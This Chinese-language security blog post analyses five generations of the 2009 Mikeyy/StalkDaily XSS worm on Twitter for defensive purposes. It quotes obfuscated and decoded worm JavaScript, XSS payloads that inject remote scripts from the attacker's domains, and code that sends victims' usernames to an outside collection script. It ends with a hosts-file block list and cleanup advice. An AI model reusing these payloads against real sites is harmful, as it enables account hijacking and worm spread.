阿碼外傳-阿碼科技非官方中文 Blog: 漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節

2009年4月14日

漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節

(閱讀本文之前請先閱讀「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」)
在前幾波的Mikeyy蠕蟲攻擊結束後,平靜了不到一天,昨晚twitter上又出現第四代Mikeyy蠕蟲,twitter官網上宣布後,經過三小時努力,終於有效修改XSS跨網站(跨站腳本攻擊),停止了蠕蟲的散播。
上圖中,twitter先宣布:「謝謝各位的訊息,我們也知道第四代,並正努力解決問題」。三小時後,終於宣布:「我們相信情況已經控制住了,謝謝各位的耐心,我們會持續關注Mikeyy」。

昨天那篇的最後一句我們說:「twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。」結果不幸言中,昨晚Mikeyy蠕蟲之三代與四代(其實有五代)重現,造成另一波混亂,連TechCrunch也再度報導了一次(真難得一個資安事件連續兩天被TechCruch報導),並認為此事件會對twitter的聲譽造成嚴重的打擊。

我們觀察到的Mikeyy (StalkDaily)蠕蟲,其實有五個版本,後來的版本還用了特殊的混碼(obfuscation)。在這篇,我們第一次詳細地研究此蠕蟲。

[第一代Mikeyy(StalkDaily)]

第一代的蠕蟲沒有編碼,第78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊:


這根Mikeyy的說法,他並沒有偷盜使用者帳號,是不一樣的,事實上是有。另外,此時蠕蟲本體javascript放置於hxxp://http://mikeyylolz.uuuq.com/x.js,密碼也是回傳至mikeyylolz.uuuq.com。

第一代要攻擊弱點為「url」(web)與「location」等欄位之XSS(跨站腳本攻擊)漏洞:



此時受感染者會發出訊息包括:

randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";


[第二代Mikeyy(StalkDaily)]

第二代整隻經過自動工具兩層的混碼,真的很討厭。原始javascript(節錄):

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

脫第一層殼之後,可以看到(節錄):

var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];

function XHConn(){
var _0x6687x2,_0x6687x3=false;
try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
catch(e) { _0x6687x2=false; }; }; };

此時由於mikeyylolz.uuuq.com被關閉,蠕蟲本體改放在「content.ireel.com/xssjs.js」與「http://content.ireel.com/jsxss.js」,回傳位置則改為包括「hxxp://omghax.uuuq.com/x.php」與「hxxp://content.ireel.com/j.php」等位置。從上面的程式可以看出,此時被感染的使用者,會被冒發下列訊息:

"Twitter should really fix this... Mikeyy"
"I am done... Mikeyy"
"Mikeyy is done.."
"Twitter please fix this, regards Mikeyy"

同時並可以看出,Mikeyy還是有偷使用者帳號與cookie,只是程式移到了wait()函式內。

此外,二代開始打不同的XSS(跨站腳本攻擊)弱點,包括「profile_background_tile」與「profile_link_color」等變數。

[第三代Mikeyy(StalkDaily)]

第三代與第二代大致上相同,唯由於偷密碼位置「hxxp://omghax.uuuq.com」亦被關閉,故帳號與cookie改回報至「hxxp://bambamyo.110mb.com/j.php」,並將蠕蟲javascript本體放至「http://bambamyo.110mb.com/wompwomp.js」。

一至三代共同點:
1. 皆會偷使用者帳號與cookie

一與二、三代不同點:
1. 一代無混碼,二、三代有
2. 惡意javascript放至位置與回報帳號/cookie之位置不同
3. 攻擊之XSS(跨站腳本攻擊)弱點不同
4. 冒發之訊息不同

此三代twitter於星期天(亞洲時間)處理完畢並修正了XSS漏洞。

[第四代Mikeyy(StalkDaily)]

第四代於亞洲時間星期一晚上爆發,沒有編碼,主打「name」欄位的XSS(跨站腳本攻擊)弱點,該弱點當時twitter並未修復,蠕蟲再度快速擴散。此時特別的是,Mikeyy反正已經公開承認是蠕蟲他做的,也就不隱藏了,把惡意javascript直接放在自己的「StalkDaily.com」網站上。以下四代程式碼節錄:

randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';

解出來為:

<script src="http://www.stalkdaily.com/ajax.js"></script>

第四代並將偷使用者帳號與cookie的程式移除了。

此時冒發的訊息為:

randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/cojc6s";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/4ywBID";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!! http://bit.ly/yCL1s";

[第五代Mikeyy(StalkDaily)]
很快地,Mikeyy散發出了第五代,此時亞洲也有使用者注意到了:



五代大致上與四代相同,唯加上了記錄使用者帳號的一行程式,但是跟一至三代不同,五代只記錄帳號,並未偷竊密碼,回報處也直接是「hxxp://www.stalkdaily.com/x.php」:

function wait()
{
var content = document.documentElement.innerHTML;

userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

document.write("<img src='http://www.stalkdaily.com/x.php?username=" + username + "'>");

記錄被感染者帳號的「x.php」一開始時,會直接寫入http://www.stalkdaily.com/users.txt中,我們可以看到當時被感染的使用者帳號(目前twitter已經都處理完畢):



看到時,我決定跟Mikeyy打聲招呼,於是下了:「http://www.stalkdaily.com/x.php?username=greetings_from_wayne」...

可是reload users.txt,怎麼沒有出現呢?再下一次時,出現錯誤訊息:



原來Mikeyy改了x.php,不再寫到users.txt,改寫入mysql資料庫。

五代冒發之訊息只有一條:「Twitter, hire Mikeyy! (718)...」(推特,聘用Mikeyy!),後面是Mikeyy的電話,由於Mikeyy可能未成年,這邊就刪了。

[觀察]
觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
4. 果然不幸被我們言中,twitter那時無法一下子把所有漏洞修完,故隔天讓四代與五代有機可乘

[建議被感染之使用者:]
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

作者 Wayne 為阿碼科技CEO

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」(本篇)
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」

後記:
當初在SANS日誌上寫ARP掛馬的Bojan Zdrnja,昨天在SANS日誌上也很快地針對Mikeyy所用之javascript混碼(變形)發表了第二篇關於Mikeyy蠕蟲之報告(前一天之報告在此):Twitter worm copycats,其中提及:這個手法跟我上星期介紹的變形手法如出一轍,他們在看SANS日誌嗎?
(are they reading the ISC diaries?)


這讓我想到之前我們寫的「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性」中,早在今年一月就率先分析該路由器蠕蟲之Teamfurry,在其最新的blog上指出,經過了三個月,PSYB0T已經有了演進,「應該是看到了Terry的blog」

非也,SANS的Bojan,錯了,Teamfurry的Terry,根據台灣某blogger,「駭客不會沒事看blog的」...

後後記:很不幸,twitter在五代之後還是沒正確修改漏洞,六代捲土重來,相關文章如上列。

3 篇回應 :

L7[T.S.T] 提到...

wonderfull paper,good!

L7[T.S.T] 提到...

good Analysis paper

匿名 提到...

good!!
I like it~

張貼留言